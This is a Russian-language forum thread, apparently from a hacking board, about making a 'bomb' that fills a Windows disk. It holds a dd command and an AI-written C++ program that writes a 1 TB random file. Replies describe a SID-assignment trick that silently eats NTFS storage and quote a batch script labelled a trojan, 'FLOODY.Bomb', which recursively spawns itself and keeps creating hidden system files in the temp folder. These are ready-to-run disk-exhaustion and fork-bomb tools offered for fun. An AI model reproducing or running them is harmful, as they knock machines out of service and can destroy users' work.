На заметку Дурачимся, делаем бомбу для винды


X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 158
Репутация
8 284
1719685411082.png


Всем привет, нахрен никому это скорей-всего не нужно.

Но надо-было заполнить всё простраснство на диске в винде, для линукса это делается очень просто:

Можно создать файлик с рандомным содержимым и с нужным размером, например при помощи команды dd в консоле:

Код:
dd if=/dev/urandom of=random_file.bin bs=1M count=1024000

Указанная команда создаст файл 1ТБ со случайным значением.

Но в винде незнал как сделать, поэтому написал консольную тулзу, вернее написал ИИ, я как настоящий современный кодер и кодить-то не умею, вот-что получилось... Dmeh-Smeh-Smeh!!! :Mem1:

C++:
#include <iostream>
#include <fstream>
#include <cstdlib>
#include <ctime>
#include <vector>

const size_t ONE_MB = 1024 * 1024;
const size_t FILE_SIZE = 1024 * 1024 * 1024 * 1024ULL; // 1 TB

int main() {
    std::ofstream file("random_file.bin", std::ios::binary);
    if (!file) {
        std::cerr << "Unable to open file for writing." << std::endl;
        return 1;
    }

    std::srand(static_cast<unsigned int>(std::time(nullptr)));

    std::vector<char> buffer(ONE_MB);

    size_t written = 0;
    while (written < FILE_SIZE) {
        for (size_t i = 0; i < ONE_MB; ++i) {
            buffer[i] = std::rand() % 256;
        }
        file.write(buffer.data(), ONE_MB);
        if (!file) {
            std::cerr << "Error writing to file." << std::endl;
            return 1;
        }
        written += ONE_MB;
        std::cout << "Written " << written / (1024 * 1024 * 1024) << " GB" << std::endl;
    }

    file.close();
    std::cout << "1 TB file created successfully." << std::endl;
    return 0;
}

Сейчас подумал, а ведь эта настоящая бомба, при запуске такой тулзы, съест всё пространство диска, осторожно.)

Вот после запуска тулзы, у меня на диске С оказалось 0 байт.Dmeh-Smeh-Smeh!!!ohmy88
 

Spectrum735

Просветленный
Просветленный
Регистрация
21.02.2019
Сообщения
290
Репутация
164
Прикольно, есть ещё старый, но способ поинтереснее.
Создаем файл любой, например в %temp%. Генерируем SID в цикле вида S-1-5-21-X-Y и назначаем каждый раз на созданный файл. В итоге у нас потихоньку забивается память, но куда мы не увидим, ибо хранилище с дескрипторами для пользователей или группы доступны только драйверу ntfs)

Подробнее
 

DRustam

Пользователь
Форумчанин
Регистрация
01.10.2016
Сообщения
12
Репутация
7
Вот такое на bat можно.
:loop
FSUTIL FILE CREATENEW %TEMP%\%RAndom%.tmp_(имя файла) %RANDOM%%RanDom%(размер в байтах)
GOTO loop

Вот

@ECHO OFF
:: T R O J A N . B A T . F L O O D Y . Bomb
:: by vxbl
:FF
CLS&START "%1"
CLS&call %0 %0
SET RAM=%RANDOM%
FSUTIL FILE CREATENEW %TEMP%\%RAM%.TXT %RANDOM%%RAM%
ATTRIB +S +R %TEMP%\%RAM%.TXT
GOTO FF
 
Верх Низ